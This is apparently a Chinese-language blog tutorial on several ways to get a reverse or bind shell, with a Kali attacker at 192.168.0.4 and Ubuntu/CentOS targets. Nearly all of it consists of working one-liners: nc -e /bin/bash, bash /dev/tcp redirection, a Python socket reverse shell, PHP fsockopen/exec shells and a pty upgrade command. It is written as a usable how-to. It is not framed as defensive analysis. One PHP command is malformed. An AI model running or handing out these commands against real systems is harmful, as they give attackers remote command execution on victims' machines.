详解NC反弹shell的几种方法

假如ubuntu、CentOS为目标服务器系统

kali为攻击者的系统,ip为:192.168.0.4,开放7777端口且没被占用

最终是将ubuntu、CentOS的shell反弹到kali上

正向反弹shell

ubuntu或者CentOS上面输入

nc -lvp 7777 -e /bin/bash

kali上输入

nc ip 7777

正向反弹是目标机先执行nc命令,然后kali上再进行nc监听,即可反弹shell。

需要目标机安装nc。

反向反弹shell

方法1:bash反弹

bash -i >& /dev/tcp/ip/port 0>&1

但首先需要在kali上使用nc监听端口:

nc -lvp 7777

此方法在ubuntu下不会反弹成功,CentOS可以反弹成功。

方法2:python反弹

反弹shell的命令如下:

代码如下:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

首先,使用nc在kali上监听端口:

nc -lvp 7777

在CentOS或者ubuntu下使用python去反向连接,输入:

代码如下:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.0.4',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);

此方法ubuntu和Linux均反弹成功。

方法3

首先在kali上输入nc监听:

nc -lvp 7777

在CentOS或者ubuntu 上使用nc去反向连接,命令如下:

nc -e /bin/bash 192.168.0.4 7777

方法4:php反弹shell

首先在kali上输入:

nc -lvp 7777

然后在目标机上输入:

php- 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'


php -r '$sock=fsockopen("192.168.0.4",7777);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

注意php反弹shell的这些方法都需要php关闭safe_mode这个选项,才可以使用exec函数。

 遇到反弹后不是正常的shell,可用命令:

python -c 'import pty;pty.spawn("/bin/bash")'

转化为常规的shell。

相关推荐